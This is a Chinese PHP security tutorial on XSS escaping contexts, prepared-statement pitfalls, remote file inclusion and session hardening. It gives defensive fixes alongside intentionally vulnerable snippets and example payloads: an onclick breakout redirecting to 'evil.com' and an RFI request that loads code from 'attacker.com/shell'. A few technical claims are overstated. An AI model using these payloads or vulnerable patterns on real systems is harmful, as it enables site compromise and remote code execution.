PHP安全漏洞有哪些_SQL注入XSS跨站攻击防范【教程】-php教程-PHP中文网

htmlspecialchars() 仅防html上下文xss，对javascript、属性、json等场景无效；预处理语句无法参数化表名/排序字段，需白名单校验；rfi源于allow_url_include=on+用户路径拼接；会话安全需httponly、secure、ua/ip绑定等全配置。

php安全漏洞有哪些_sql注入xss跨站攻击防范【教程】

SQL注入、XSS、CSRF、文件包含、反序列化——这五类是当前PHP应用中真实高频、可直接导致服务器失守或数据泄露的核心漏洞，不是理论风险，而是攻击者每天在扫的入口。

它只对 HTML 上下文安全，但一旦用户输入被插进 <script></script> 标签、onclick 属性、href="javascript:..." 或 JSON 输出里，htmlspecialchars() 就完全失效。比如：

echo '<button onclick="alert(\'' . $_GET['msg'] . '\')">点我</button>';

此时传入 msg=1\');location.href=\'//evil.com\'//，就能跳出上下文执行跳转。

输出到 HTML 内容区：用 htmlspecialchars($str, ENT_QUOTES, 'UTF-8')
输出到 JavaScript 字符串：必须用 json_encode($str, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG | JSON_HEX_AMP)，再包裹单引号
输出到 HTML 属性（如 title）：仍需 htmlspecialchars，且属性值必须用引号包裹（双或单）
模板引擎（如 Twig/Blade）默认转义的是 HTML 上下文，JS 或 URL 场景仍要手动处理

用了 PDO::prepare() 或 mysqli->prepare()，不代表绝对安全。常见翻车点：

表名、字段名、ORDER BY 子句不能参数化，拼接时若来自用户输入（如 $_GET['sort']），就等于开门揖盗
错误地把整条 SQL 当作参数传入：$stmt->execute(["SELECT * FROM users WHERE id = ?"]) —— 这根本没走预处理
开启 PDO::ATTR_EMULATE_PREPARES = true（MySQLi 默认关闭，PDO 默认开启），会导致绕过预处理，退化为字符串拼接
用 intval() 或 (int) 处理 ID 类参数虽有效，但无法覆盖字符串型字段（如用户名搜索）

真正安全的做法：白名单校验动态部分（如 in_array($_GET['sort'], ['name', 'created_at'])），或用查询构建器封装结构逻辑。

PHP

编写健壮的PHP代码，规避类型转换陷阱、数组怪癖及常见安全漏洞。

下载

当路径拼接中混入用户可控变量，且 allow_url_include = On（旧版 PHP 默认开），就会触发远程文件包含（RFI）。例如：

include($_GET['page'] . '.php');

请求 ?page=http://attacker.com/shell，服务器就真去下载并执行对方代码。

禁用 allow_url_include（PHP.ini 中设为 Off），这是硬性前提
路径拼接前强制限定目录范围：$file = basename($_GET['page']); include("templates/{$file}.php");
绝不信任任何用户输入的文件名、扩展名、路径分隔符（../、\0）
使用 open_basedir 限制脚本可访问的文件系统路径

调用 session_regenerate_id(true) 只是基础动作。真正容易被忽略的是会话绑定强度：

未设置 session.cookie_httponly = 1 → JS 可读取 PHPSESSID，XSS 后直接窃取
未设置 session.cookie_secure = 1（仅 HTTPS 传输）→ HTTP 下明文传输 Session ID
未校验 $_SERVER['HTTP_USER_AGENT'] 或 IP 段变化 → 攻击者拿到 ID 后换 UA/IP 仍能复用
未关闭透明会话 ID（session.use_trans_sid = 0）→ Session ID 会暴露在 URL 中，被日志、代理、Referer 泄露

这些配置项不写在代码里，而是在 PHP.ini 或运行时用 ini_set() 显式开启；漏掉任意一项，前面所有 session 安全动作都可能归零。